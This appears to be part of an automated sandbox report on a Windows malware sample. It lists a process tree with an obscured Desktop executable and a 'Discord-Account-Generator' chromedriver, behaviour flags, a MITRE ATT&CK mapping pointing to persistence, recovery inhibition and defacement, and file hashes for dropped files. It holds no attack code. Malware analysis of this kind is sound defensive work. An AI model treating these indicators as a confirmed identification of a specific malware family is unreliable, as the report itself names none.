"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,15625234264141560111,8696898811401548724,131072 --lang=fr --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3696 /prefetch:1
3⤵
PID:4660

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,15625234264141560111,8696898811401548724,131072 --lang=fr --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4784 /prefetch:1
3⤵
PID:3468

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,15625234264141560111,8696898811401548724,131072 --lang=fr --service-sandbox-type=none --mojo-platform-channel-handle=5072 /prefetch:8
3⤵
PID:1696

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,15625234264141560111,8696898811401548724,131072 --lang=fr --service-sandbox-type=none --mojo-platform-channel-handle=5072 /prefetch:8
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5080

C:\Users\Admin\Desktop\@[email protected]
"C:\Users\Admin\Desktop\@[email protected]"
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2464

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:864

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1344

C:\Windows\system32\mspaint.exe
"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Desktop\@[email protected]"
1⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:1424

C:\Users\Admin\Desktop\Discord-Account-Generator-main\chromedriver.exe
"C:\Users\Admin\Desktop\Discord-Account-Generator-main\chromedriver.exe"
1⤵
PID:1736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\485356e8-7c3b-4976-a670-2c31d9ac10df.tmp
Filesize
7KB

MD5
89dc7a5cbeeede029d7c9ad035d246e9

SHA1
8a11f2a7d689be986b63faca8b9b5cc45090ecdc

SHA256
9c0fd1694f962de3ce5a91c4474b9f95bdbc9359689be0c659a37fcc7700db28

SHA512
787bae1466deb0a2aff66289172c4936c350d8e08bf00744e86fd591853793a9f68c05d400ad110df1749a2d9be651d04ad076072908c3427e5c97b85219aec2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000016
Filesize
43KB

MD5
8852cfc3d33f08671c7df96fdadcc54a

SHA1
53a286b6ff6e215c90fb9d0a9a3078ffe1d364ed

SHA256
2b907730278b227f45035e1f5fc78cf47c018a97145d8728efe190546481fa83

SHA512
20ceb5526d323a609348bd7d9ae6ad0d9416eb637ff55e5f7bb9cf73a2be92c5f0ee7aab1da7cf43835552034a97a49c3d7076b4d4d00c376ec902b4dc50df97

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000017
Filesize
24KB

MD5
54a5ca74a6d9c531ec2c366edd7be658

SHA1
c4d01c1cfd3c190fd9ac918eb5a3bebaf41b29d6

SHA256
9f3cb2edebc4754956da013e3e4fa9735d5d5cdbd5f02a7c9869a8ada5bf190d

SHA512
b8670bb7a6496e8e6a09dbcb974ace55451be9c937f178803891129bd33f9545119924dffffa84f13dc87a753df0e9d66e104e5df72f9d6911c619c835d78e2d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000018
Filesize
48KB

MD5
675c3cc9eeb511d43db6635bf1b515f9

SHA1
b5a3bc916093bf35af9cb26f45f79c229db4d70b

SHA256
827caf07904c9ca524acf5d97bcaf1f11c84ffdb1fc2e7f683e1dc80648ed58c

SHA512
6e82a416ca6d79ed2402382326d8621d9828b420daad5ff0a93f2de13598213b52ed7fc9f6a59dc6bb71bfb6a1bb13be3d54581e2d26ecb0dbf0bb2ecc894197

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000023
Filesize
21KB

MD5
12b3b06a215a92b61047d4d676009d5c

SHA1
bfaffa1420406892f96c14563413c12b22d5578d

SHA256
ebddde1fdfe55665db44af96d9a914ea833d5c74b510150b0aafcc6598c8ec72

SHA512
5f597b93c1bd9e9be7d7aa42ec1a69d1183d164096046af276546f907c7796cd5d1ea80d152ac8cab76f1ddf3a6e3d51ed74c6dc97d467a4f5519dbad8d42ea8

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000029
Filesize
21KB

MD5
c0b1bd1e8ad97209d5fe83e0b13d2409

SHA1
44faa296e55a457262547c399bfab36c04e99cc2

SHA256
9b864d611eea81171dd0a090d4b450e35e5569223cb9fcf12035f9ba857548fc

SHA512
52e144be101bcf9f5c3adfcfebb098cdc978dd81973269aa7d7b9156364ccb337efb55df708679924703fe492e4c507796edd45dc526c562e7294c2bee710da3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00002a
Filesize
24KB

MD5
79867b26676a270b5334239c88921181

SHA1
3eef0d38cf46cbcd1eddedfaabfab17fcdc979bb

SHA256
139c8c2143bf1ad507baa5ddea8813f1479a999aed16d814c8eccb7df43d92e6

SHA512
730a64a37d0a08a137e7731682977d7c4a4956c6a8f742a956d33cfdad636fb9a5c5e75ddafa726b4ed1f1e38fdbd361f27f64b1094504ce26b6c40f4b8bdfb8

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\f5ccb442c8b8f9e9_0
Filesize
1KB

MD5
ca7433c6a0e5d057c3b3acf716190580

SHA1
41126fb0a39b07bed3d6bb431d7d8e81cac9fae7

SHA256
e520b71253ad44e5bf9781ccc2a8fad99f407ca383b9383fd934b29247a90c9d

SHA512
6af307688f8538776c1dd6c99aca3b55794d6e427ec4943841ee1afd30d4b68fcde0e9af33b8f3032eb54e35bdc115e86943d6936a3f2cc6621d1eb50732e882

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
4KB

MD5
2ea65b133001f0c7229af5d0cd562216

SHA1
f33f3edd55c609a739c60969fce8486da5d696a2

SHA256
335e1348f4f648a0d3f96e3395b93b15ddf3ab9ecb70e6e4f462f065583fd2da

SHA512
e1f690e9cc9e66f6a308137e9aed4556a26daf68b20c241418af34c796efe158ca4db33d2289a021cf740d065ed1d9d96980658f4d521ec82cca7705ec5368d4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
3KB

MD5
3efc7fcf25024e752363ddeaa911114b

SHA1
465fb57bea49b4e60ec2d76d452e90ae535353b8

SHA256
cdec1610636b34aa2cfcad5f161547a6721b945d1df3bc77881ff5071aa07752

SHA512
bcf77d9d8f2369da5b05fc20f18c0bb955f8bdaf7c80985c1430e010eabf0e5d3984daf266b85b4bbb098121dfd7d5d1df36b20cd617b4d30eefe88783d6617c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
3KB

MD5
e09a3a080d4eef196a3e4decf196f1a2

SHA1
50a902c5504fed27768b7e86c29b64d820134f1d

SHA256
e4f65753a40d520f9a3ad44b5da09f5894f7f0113adf76544f9b0eeafb7183d0

SHA512
fbc42d2e520c523b24df5de8d647597bb8ffe679336f5cba1e8c551c18469af4d4f0ae27bd334eea2e8a1e83b8c155e461ca3d762d7c32be194ae375952cfa07

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
2KB

MD5
1ee06e8bce7f42a9572f2fcad8c66d18

SHA1
f5edf613e5bb1b37129718bf37ce6e442434c59a

SHA256
38221bc94ff1ba29aa9c6bc824fe626169ea5afc2ddf51257d88d307f3ad1d21

SHA512
bdac50e241b82e0a0ff00a0e16a6dffe5a1cb303144ed36ac7bb51ce4eccf44965c0b4cb8075dc0b81dfb9809edb1a607ee11ce5e59ebb94a9f1344e416573fd

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
4KB

MD5
02316eacc76afb6b4ba330109bcbf323

SHA1
497e6d65ce5939988c25a5376c4dd5d971291794

SHA256
fca1d956a9247bfc562736d4cba0404e3ea804fc4d305a42247a7a995e21483a

SHA512
0b8791a80896b4f9c3a7bfb42650e1e6a8db696777beafefc8c3821acb55cf14040ec54ee658f7f46ee1537696191c1e0f0e646d507f9952b203ea1b8c882a60

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
3KB

MD5
1ecfe635e4840270f908c850e81b5ae6

SHA1
41e25c45bd4f711c905611e2542d63d87215a83a

SHA256
eeedeb4c3947f399fafe2360395fa3a808c1ebdf6dff5baef4508071a9ed53da

SHA512
9ad59870342788d6e8e3df68252b5efe5618cd3b56fe68fa18f1119c350dd9da65d58a1df5ba1c4412f7d4934bb386751f77f6de11004b2c8637bd1d47086a2c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Filesize
2KB

MD5
9457fbe179c922399196cde1730ebbec

SHA1
0bac6bebe9d6fa7341b35854e446963c995f036f

SHA256
ff4a50670640fab76d0960c953e7fd537e47cf23d52f03a63878968255cfa3f9

SHA512
247966ca2bc2c048fc398f254e1b9dba07e1302d6e920b0261ef4318e7584569228e174cd73ab8edd27099643b246612432002b38c98632a2e63d6ffc1a2a0c7

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Filesize
3KB

MD5
b8396c0e5279b87db126e2aad5976f1b

SHA1
1135a18d2ffe4502951af509ee48a4105c3cdaf5

SHA256
2e3dbd11e5e8dd9f03ff2bb104ded351d3c2d4df2dc79a096e471415d85ebd74

SHA512
593313cbc5f918dc3322e8caa4903c9910eec515541232c00149cc01de9e67dab9f71ecd79a5e16e9b39a8a1d5a4b835ac062e1c13232ce34d9f5401b39616d8

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Filesize
3KB

MD5
73220afe222e80cc2145c56e81318404

SHA1
bf094c6e5116cafed895525fc06e8968ece901c8

SHA256
c6b534d093eb174df6554989d6a70f6d2c29f742fa986fdd94781706af1d11fd

SHA512
2ae4053371632f53d2a8e2159689f5fdd370c0231b7c4206bacb1901916c6074b20ffb42f6355565734919acd4d693c9afc46c83707a3a5e924a6fa851f9de26

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
d5359958f14a8808b5a9d7b9e2881e25

SHA1
9af7522cc495809afcc24cc58b411634aae961c4

SHA256
2ab211e035d68cb097d5d8e0627716a0b594477099988a309e786e3c6cbdec5d

SHA512
613776beaee7be2b15f0ad41ca9d99b394494a51fdba6102623911df16325879c95f32a3609bf88c4460113bc4d34c84e35d1563f36a7d3c00555978ce4dc1af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
2c22f1926ce45899eaf89b17281549f9

SHA1
44a06ef242af7c11a78b96c6643d77a38529e5c2

SHA256
6f38388a60ffdb342eb0e00c045f5914b5936a6ebd068531d917f987a7dc146c

SHA512
138284487da36320c46403eb19e707b4ae6e499f1691448710bec39ff144b3fbdf89cb1b25eb21db0695dfa0a77c02217165eafbb2d0fc15ac08bba39feb98c4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
c23f69c9f53c347fcfeb052f2a9b5546

SHA1
ea22523876976ac307654a7702a9f2f5571e5707

SHA256
9109a430da7745e9f78a14db4af4b51565a0318f08b810661f6f05da3280467f

SHA512
22ab8a66563bd2ec4e84a234806b3542abc442181b58a863394e8220d0ccaf04108219c1c5d85b14a70790178801b47a4ada2db855daf1433acb1ca5c342b3a0

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
356B

MD5
c5752b9ccf498749f21f5ad95c25a1c3

SHA1
427d2b0541917c263764e5e1a0b463d6293484d6

SHA256
3a724105ca37f6c44750482ee980c3c976287f641a1b3551d8b5ea52e42e1ad6

SHA512
fbed13a3ebe06f6884199418fe103da2aef813eaf71b007f5c1e91bba5adfe3f5ea85960dfaba2b4d01c4f9332fdbad1f7fbba3a0d947ee0efa35ab07bffa0c9

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
84b3491cd63f4872153716552c4615a0

SHA1
53dd946be9cd7cc7603c0f415e92911ced01a5c3

SHA256
8257539649db88a92cb5b5de5b35dc0a4683a04f5e06edf1b2d5a8074d9ed5c3

SHA512
6fe804178c8e210446a15a045e59b93ce157c183a6a50dec88d1f61938960f9d78cdc1cbe1aeba14e39ea5135e84a23bc2bee4b18754386369bbdb5401e2a6d7

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
1a566c2abeffaadfa001a76a70925f53

SHA1
934cf69819bbfc15f2bbd21cecf8cf8cbdc26f86

SHA256
796aeeb3f30fcdfad54bb63eda76e78abed3402168cc76da690b215e5e5900e8

SHA512
d082aaf51a31ecba33bedbceb51b74df397c10ec4b53476601ea62368e0c006a95769d57e9bb6ec55d8d75f097bca9f957d77db5da325505863e0d7a2609fe00

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
0859beabeeebf3aadbc4786a7a34b487

SHA1
6bebfaa515e108d35da45828773168b01aa38180

SHA256
817ea5a7bb532899ce2547edc049c05b89eb19718f49693c4115804d4bb588ca

SHA512
d12cd6954384d647b7807110f99aa087a23a752555f80d02d8a205d3cb179788c520882545a30ad07a25db684e2834a6ee50a25c8bccd1a8d5c275484dd8ad55

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
12012d290d480bdc7ed2854d2037ee0c

SHA1
7176cf0db21de34fd7d1b7a8a8ad563097624637

SHA256
6fbf15802e4ab2b0a3a29885f95d8f93fcd8c8244d731601af928b54a46cfd29

SHA512
96664c988b88dd6b82c2ca3ccf10298b9c30a6272c8e4ae77e9ee797ce86220121d22c9d23771c21c2459a20191472719e0b7cd0709f4382032942dd76114f6c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
c3a9ef23ff6785c841d44c12c16d33f6

SHA1
f943d8b612e6c6f51501ae334ad629325d0f623b

SHA256
a9cee154e7a3b8a6d7aa9ba1da8a8157ca8c52bbab07bf6ccf5c315b8b6abf49

SHA512
f24021b44731bbab6df9d3aea7da3a86781100d84e0d168708cff72bf0e5b85672524d1e867ad29388689e498fc845f1f46347aef0313237e8283d48ea62cf75

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
6fe3608038cfe57079b4c3469050b537

SHA1
c0bf446fa719265687e59e2fd3a56cb334090434

SHA256
89a66483716c5164e58e927a0d8ad2c479191fa06597f67c50400fe6b3e4fa80

SHA512
24c7f42302a81cdf67c7a03eea84035cf9b487cb4e5115de014ec4a8734504ab918552111f124bdf354bece65711c8692b9d660ad8496a889529bad49cff8a78

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
207f8e12ed127bd2c1f7dfb42a97a6c9

SHA1
59a75441094a5747be6056099a42fa51a3ee72cb

SHA256
eb8ee5a8cbf932a4e9b9de68e612ae5b7524f00886bdb7e9248555680468d0bc

SHA512
9b65741b92db8902b6ec6dac8fbbfcc9c914646b62eecf1a85e0097c3563973f17005178ebb0717cf264fa56199742b84389a4506bdca7991313261f9345ba7c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
e7ae860204ce528f444353b4e53cd00b

SHA1
47dd097774f2c380f8a44890d22aeede774ca4e8

SHA256
1a29471fb7e8a5d93fa79ad8180f0f8f569448373ecf9e913f6ee96f1310fbe4

SHA512
f1ad54e333e537df3df7ffdc5cb8c0a27033f7c9a82ec35c75b32db4a9ffe7661d488a0069ec74947c084ad2da2b0e27fd2ee4f6e24d9e56455e04888a0a7b91

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
b768f39165bba06746b0234283ffe87d

SHA1
ef19c81595978faecd86de2f7dc1886138a18d18

SHA256
80c472a58e57f4b89ae90a6e004ad5d6284142340a8ecad2e4d5f77f6a4eee65

SHA512
0082a466758cb7557ad74ba67ac10554ff09f8ef33b1271a231d711862655dd8dbec08b83ea77d08a6fb111e65b120626ec8263da35872ecc5ff782e58b7e20d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
12ce69ef7f634c7df87bc0cdd6ccc12b

SHA1
18c52683fcb34fc54407faa99ca78a5e5186376c

SHA256
80d9b7921efc577519a5483ebe19c6afb1ebe1c5f6c5d026036b41c8892768aa

SHA512
37d5a883cebba4395349166249cf7e86789290491d5658fa3eb59c218a0ae1c0e75a8af77f9791500354ab44ccf7b39eb5c04a2228032dcd3755a6db67b0371a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
ba0910b0d8b59b7abac40a243e448d5a

SHA1
f7daee9598fa85c514b6c150024aae073b30526a

SHA256
9f74b1caefd2f0e31ce3c07155d8d63a5a640c4ec2b9e2d0c57e8a00795e7b3e

SHA512
a4075a50ddaa663b59a3645e3f2caa58a69a0399de84cdf7349ff2a9ee9d044f1634d80327d65a8bf136f50b600b05c4d646cb4f1c267e72d647cefa2d3bc80b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
92fa5dac8a44e9e5453062d7ee26c7e3

SHA1
1feec94bdea9756734a5cdb89711522f77aaed8d

SHA256
3909b92365f6bda24f7f8c66a9eb215b0ed3260653bc0a906fa2b9fdef954e69

SHA512
6b43dce15b0e6e624f213211103f989fb88ab59c7e0844817e61d4f61c8539335c6b85c5492b92eab21ae9f721c0120d1c9b10f5a900af08504b3faa7c2c004f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
7d6069c9c785c9c7f40d03a452966d14

SHA1
aec0bd3019e4d4c1e33180641c71742f0c1d1acf

SHA256
d0a1589c273cdec47c96b97c9cbf23d4aaf4f85a1a48c9c153bfffbd3f7af9ae

SHA512
b60e0ecc893024b1122f683d34681c3d6aaca21a65274a080cef74919ffe26b21de7bfb62fdd1d1bbceee289b13122eb83ca3abab5bdbb28d9126226044e50c7

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
7KB

MD5
3427fd3ee60736bd3f770f2e79d06eea

SHA1
6352a7ab5cd27bbea364ed3c07b0750c3b19d760

SHA256
cd28d5c12cdeea84ec09bc81a294e130b72ff1269e3d4b1d4d04a27e89a12dfa

SHA512
64a62c9b617709c3efcec1bbd7f32c21b50d35b5819fcb7b4a657b242586d1dfd912629e807d2c01590a28de9323befe6ff9b6950b16e20343e3e241a3e424bf

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
7KB

MD5
923ca9bc2d072e31010bc17b8774ad05

SHA1
f0b2a23b79132ef4a32a8da5c68113eea8e93c59

SHA256
de3612cb2551aa14bebc7dd6a12f3c7941eef3fd634972fdcc047365104f9ced

SHA512
e85b069751596275f1029f3b6dd573976eebd51a579367d40ca1f62896df88b182cec061a156de9a7c2a69a074d87dbcf688cc5d7b8c1d463a1f5663ed35bc79

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
7KB

MD5
200f7df5f0b5c9fa1a8779d32df771cf

SHA1
8f13415c5659c9e929643f8c9824a16d241c2692

SHA256
b09cf1a3053522438ae8c3f53cda8b552e2d870b026f008f1f4d94f8d62513a0

SHA512
b9003c07d58525cbec6bea5221a6faac6314952ed0c7935f1e92edd5627602bcdddbceb13e4b8c59d34f4f79b61311b29186bb229c71176aaaed6b8ef678ce68

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
7KB

MD5
3b448834c27abe4dfd21361ce322980b

SHA1
c62818adfdbea4e6b51ce06fb869a2990802aa35

SHA256
1a056eeacdac58eec643b1b8babff0b9a0b07e5740523e2a934607d1f56d7c25

SHA512
a494bd8a1fe3d56e89431ba76a3fcb062ed6c36d831bd22456bbd8d2b95606136ac7fc08d9c50dfdf92406212554fd1047edac612c5731d2f4775cab2d9dc3aa

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Filesize
16KB

MD5
e182d2445a70378ecca8cf4c5b99357c

SHA1
1e79a8c576af77548e8091d64de8e4bcdb3ee624

SHA256
493b2d515c5645ebb574b6e0b22ddf3482c0fb0270574e25fb393c97f9ba8042

SHA512
1e8445d3dda4ee5848a717dacf08f95b5c180d3d72fc8ec2256396c24955be5b9fa2c6e265575e5a0d376598f6c71c3ce58c518d265c7ad5a4165357fce0ec93

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Filesize
256KB

MD5
10f3dc8c5943b71d6cadc11e755a6df6

SHA1
73c3714027e4ae3c50e026b374d136351549cd7e

SHA256
46d846d2d35cc055a910f34633970ac64138c9290ae270784f95aa511a4ce4d8

SHA512
b24bc33180eb646aeb7d8ad75c0fa0b7d1b4552b0de91f581843851e19313932cf4b896e276751b695adc290a05aacbefb58fdd525aed896488eb2db72af07d5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache
Filesize
99KB

MD5
aeb8f6b8c6288cfcfc631e567de15449

SHA1
a650f0825d819b9a992c49df1ab289569bc0628d

SHA256
7ada6d76b0afb9de17edb9f5eb8e207545d5408bcd5bf7b53406b23ad8f9a214

SHA512
cbc5a0c1b37b2a7dcb32813a074f62c55143cbd9b495ae6b440cbf92eef842624526b7682d3773cc8254ded1fcff90952e43aa9d62192a19fe7bbac43c3e5f62

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache~RFe5a0a81.TMP
Filesize
90KB

MD5
d34fdddb8f4805f1236c22a3e9918d43

SHA1
e6c724002c53b665fba9c3aa80c5b24e26ecf99e

SHA256
0c5d7e5bca8ce1f26f2634801dedbd6c93e743e61ccd4a14c9e8d55d6e7078a5

SHA512
3662f58d32f4464b4539167c55a08f06ae3fed082a7cd5271022df1933f2eda90198f0dd14a49037a1011acd85827303badfbd3e7f6fcac193affa289ad60852

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
439b5e04ca18c7fb02cf406e6eb24167

SHA1
e0c5bb6216903934726e3570b7d63295b9d28987

SHA256
247d0658695a1eb44924a32363906e37e9864ba742fe35362a71f3a520ad2654

SHA512
d0241e397060eebd4535197de4f1ae925aa88ae413a3a9ded6e856b356c4324dfd45dddfef9a536f04e4a258e8fe5dc1586d92d1d56b649f75ded8eddeb1f3e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a8e767fd33edd97d306efb6905f93252

SHA1
a6f80ace2b57599f64b0ae3c7381f34e9456f9d3

SHA256
c8077a9fc79e2691ef321d556c4ce9933ca0570f2bbaa32fa32999dfd5f908bb

SHA512
07b748582fe222795bce74919aa06e9a09025c14493edb6f3b1f112d9a97ac2225fe0904cac9adf2a62c98c42f7877076e409803014f0afd395f4cc8be207241

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000001
Filesize
201KB

MD5
8808e488bcee3c7c8d6d2aea799f49cf

SHA1
f5e2cd7adcd4bf9c71259e150ece6b5ad6a942a7

SHA256
114d8e7354de958a31c6fbd8d57fd58838e85dab4f0c1794aae923858e1c8368

SHA512
9f2615c428c44314cb5dddd3ced49e13d513e52cba45daa0cd9834f2d9a54408d32238f2d5912330b7dab5658dfc3f02f66b6b84bc5157b6b23b69c8d6e128e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
120B

MD5
75b3713491f0c3d45d0312ae33d09092

SHA1
e57d348d5b4217caeab75ca870dd56e39b31dc01

SHA256
4840427c6d3e3311dfac75ee0082e39576113de39d7273b6db7995da838cbae7

SHA512
bff4a69c57e662c3266900617160c15f17fb23f0598dbb9e9c2b2dc630be945a0b69020a1b163885e047b5930397e6950be11af75a5e4fece9c2a2d9d20ca091

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
48B

MD5
753f425df9d73b10f715284dd581e429

SHA1
34db3eaa828a8a49129e4d56b96090c7da1ecf22

SHA256
296679b280dc58fd09c46ff70e02e1f2b5ff3cb997b65c3a4da7789c8ef806b9

SHA512
0f708069005c8edba6dd75ef0aecf8067ec67cf5407e792a642c1eeba8a692a8be87ce76d1e723123a0f55be3ce87dacd90658698822d9c67709d41319aa2080

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
815B

MD5
f5909bb20fbee0b37d4b4ea703ad3021

SHA1
6d6d6dcf4f0a21b339d34011eb111bb41e675d82

SHA256
e25745a71926fa0a692a0680258975c2febe1ca23f47aea5ac865567cb8222eb

SHA512
e51c61bd4b3d1522818f04beb37242a95ea0bfaad65a7078c7d692e2478dea163e28194a0ba6ef3d014651cdb6b542fe02730755d9d675e48660d004eab957be

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
7KB

MD5
81272661abff358d22a4c7d52b6f49fb

SHA1
5a1584ff09064ca0a142ec5271048b69f42812c3

SHA256
30d887d6ab150e6086a6565de68faf1235adc6af0b5c42317694bcf4d3f77141

SHA512
da7dd1f27bade31569360a78fcd9221b3bf80b2900beba279f6ae82c4b444c23ddd1a2c2ff7ded7abe3a5811e1ebca7534649857e4ab41691a6cb9d7d0ed9be8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
715a2531cb9667900b6dbfa3431fb065

SHA1
a3bac83cae0d381eac3a64f9595b99fba50fe7a9

SHA256
5647ad0446451803de4d39e867748a6efe9be84407fce857df6edcf669d16fda

SHA512
ab3888fb5c6ec3ec7c28d8130b92274b6aa8134107be9829997003b3b9956ec123957fd1c9efc4ce93ebf54a3f537baa940bf269432f4c6cbb3d80ca7583e950

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
